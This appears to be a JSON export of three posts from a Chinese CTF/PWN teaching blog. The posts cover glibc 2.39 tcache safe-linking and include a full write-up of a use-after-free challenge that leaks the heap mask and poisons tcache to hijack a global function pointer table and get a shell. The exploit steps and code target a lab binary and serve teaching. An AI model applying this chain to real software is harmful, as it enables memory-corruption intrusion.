[{"content":"题目背景 一道面向 glibc 2.39 真实环境的 UAF 题：删除便签后指针未置空，留下悬垂指针，既可读（UAF read）也可写（UAF write）。目标是 tcache 投毒劫持全局函数指针表 ops[]。\n保护：No PIE、NX、Partial RELRO。\n六步利用链 ① delete(0) # 制造悬垂指针 ② show(0) 读 next 字段 # 泄露 mask = chunk \u0026gt;\u0026gt; 12 ③ delete(1); delete(2) # 链上挂 3 个空闲 chunk ④ edit(2) 写入 OPS ^ mask # UAF 写投毒 ⑤ add(); add() # 第二次 malloc 返回 \u0026amp;ops[] ⑥ add() 写入 win 地址并触发 # ops[0] 被劫持 → system(\u0026#34;sh\u0026#34;) 关键代码 泄露掩码：\ndelete(0) mask = u64(show(0, 0x20)[:8]) # next = (chunk\u0026gt;\u0026gt;12) ^ 0 投毒（注意目标必须 16 字节对齐，ops 用 __attribute__((aligned(16))) 保证）：\ndelete(1) delete(2) edit(2, p64(OPS ^ mask).ljust(0x20, b\u0026#34;\\x00\u0026#34;), 0x20) add(0x20, b\u0026#34;X\u0026#34; * 0x20) # 取走链头 add(0x20, p64(WIN).ljust(0x20, b\u0026#34;\\x00\u0026#34;)) # 这块落在 \u0026amp;ops[] 最后触发 ops[0](sh)，拿到 shell。\n与 hacknote 的对比 hacknote（入门） 本题（进阶） 劫持对象 堆上结构体的函数指针 全局函数指针表 是否需要堆地址 否 是（safe-linking 编码） 核心技术 UAF 直接复用 UAF 读写 + tcache 投毒 给学习者的建议 先用 gdb 的 tcache 命令观察 free 前后链表变化，再手动复现\u0026quot;读 mask\u0026quot;这一步。投毒成功那一刻全局地址出现在 tcache entries 里，你会对整个机制有肌肉记忆级的理解。\n","date":"2026-10-19T12:00:00+08:00","permalink":"/post/uaf-tcache-poison/","title":"从悬垂指针到 getshell：一道 UAF 题的完整 tcache 投毒实战"},{"content":"为什么需要 safe-linking glibc 2.32 起，tcache 和 fastbin 的空闲链表指针不再明文存储，而是与 chunk 地址做异或编码。目的是让\u0026quot;只知道堆上内容、不知道堆地址\u0026quot;的攻击者无法直接伪造 fd/next 指针。\n编码公式 PROTECT_PTR 与 REVEAL_PTR 的定义（glibc 源码 malloc.c）：\n#define PROTECT_PTR(pos, ptr) \\ ((__typeof (ptr)) ((((size_t) pos) \u0026gt;\u0026gt; 12) ^ ((size_t) ptr))) 也就是说，chunk 里存的 next 字段实际是：\n存储值 = (本 chunk 的 user 区地址 \u0026gt;\u0026gt; 12) ^ 下一个 chunk 的地址 关键破绽：链上只剩一个节点时 tcache 是单链表。当一个 bin 里只有一个空闲 chunk 时，它的 next 指向 NULL：\n存储值 = (chunk \u0026gt;\u0026gt; 12) ^ 0 = chunk \u0026gt;\u0026gt; 12 一次 UAF 读就能拿到 chunk \u0026gt;\u0026gt; 12。有了它，任何指向该 chunk 附近的伪造 next 都可以正确编码：\nmask = u64(leaked_next) # = chunk_addr \u0026gt;\u0026gt; 12 poisoned = p64(target ^ mask) # 写回 next 字段 tcache 投毒的完整流程 申请三个同 size 的 chunk A、B、C； 依次 free，tcache 链变成 C -\u0026gt; B -\u0026gt; A； 用 UAF 写改 C 的 next 为 target ^ mask； 连续 malloc 三次：拿到 C、B 之后，第三次返回 target。 注意 glibc 2.29+ 的 tcache key 双重释放检查，以及 tcache_get 里的对齐检查（aligned_OK，目标地址需 16 字节对齐）——所以投毒目标一般选全局函数指针表这类天然对齐的地址。\n小结 safe-linking 提高了一点门槛，但没有改变本质：只要能泄露堆地址（哪怕只有 \u0026raquo;12 的部分），编码就形同虚设。下一篇用一道完整的 UAF 题演示从泄露到 getshell 的全过程。\n","date":"2026-10-19T11:00:00+08:00","permalink":"/post/tcache-safe-linking/","title":"glibc 2.39 tcache safe-linking 详解：编码、泄露与伪造"},{"content":"这个小站上线了。\n这里会写什么 我平时带 CTF / PWN 方向的课程，也会自己出题、复现漏洞。这个博客主要用来沉淀三类内容：\n堆利用系列：glibc malloc 的各种机制与绕过姿势，从 tcache 到 safe-linking； 题目解析：靶场题目的完整攻击链拆解，面向初学 PWN 的同学； 教学笔记：课堂上讲不透的细节，这里慢慢展开。 写作原则 每篇文章都要有可以跑的代码，不写\u0026quot;理论上可行\u0026quot;； 利用链一步步推导，读者可以拿着 gdb 跟着做； 错了就改，欢迎拍砖。 从下一篇开始进入正题：glibc 2.39 的 tcache safe-linking 机制。\n","date":"2026-10-19T10:00:00+08:00","permalink":"/post/hello-world/","title":"开博第一篇：为什么写这个博客"}]